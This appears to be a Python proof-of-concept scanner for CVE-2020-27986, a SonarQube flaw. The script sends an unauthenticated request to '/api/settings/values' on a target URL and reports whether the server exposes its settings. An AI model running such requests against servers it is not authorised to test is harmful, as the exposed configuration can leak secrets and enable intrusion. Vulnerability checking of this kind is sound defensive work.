class EXP(): def __init__(self, args): self.name = '''CVE-2020-27986 SonarQube api 未授权访问''' self.url = args.url self.res = ""
def _attack(self): path = '/api/settings/values' try: resp = requests.get(self.url+path, timeout=10, verify=False) if resp.status_code == 200 and 'application/json' in resp.headers['Content-Type'] and 'sonaranalyzer-cs.nuget.packageVersion' in resp.text and 'sonar.core.id' in resp.text: self.res = "存在漏洞!" else: self.res = "不存在漏洞!" except requests.exceptions.RequestException as e: print("目标连接错误....")
def parseArgs(): parser = argparse.ArgumentParser(description="[Exp]!",formatter_class=argparse.RawDescriptionHelpFormatter) group = parser.add_mutually_exclusive_group() group.add_argument("-u", '--url', help="URL to scan; -u http://example.com") args = parser.parse_args()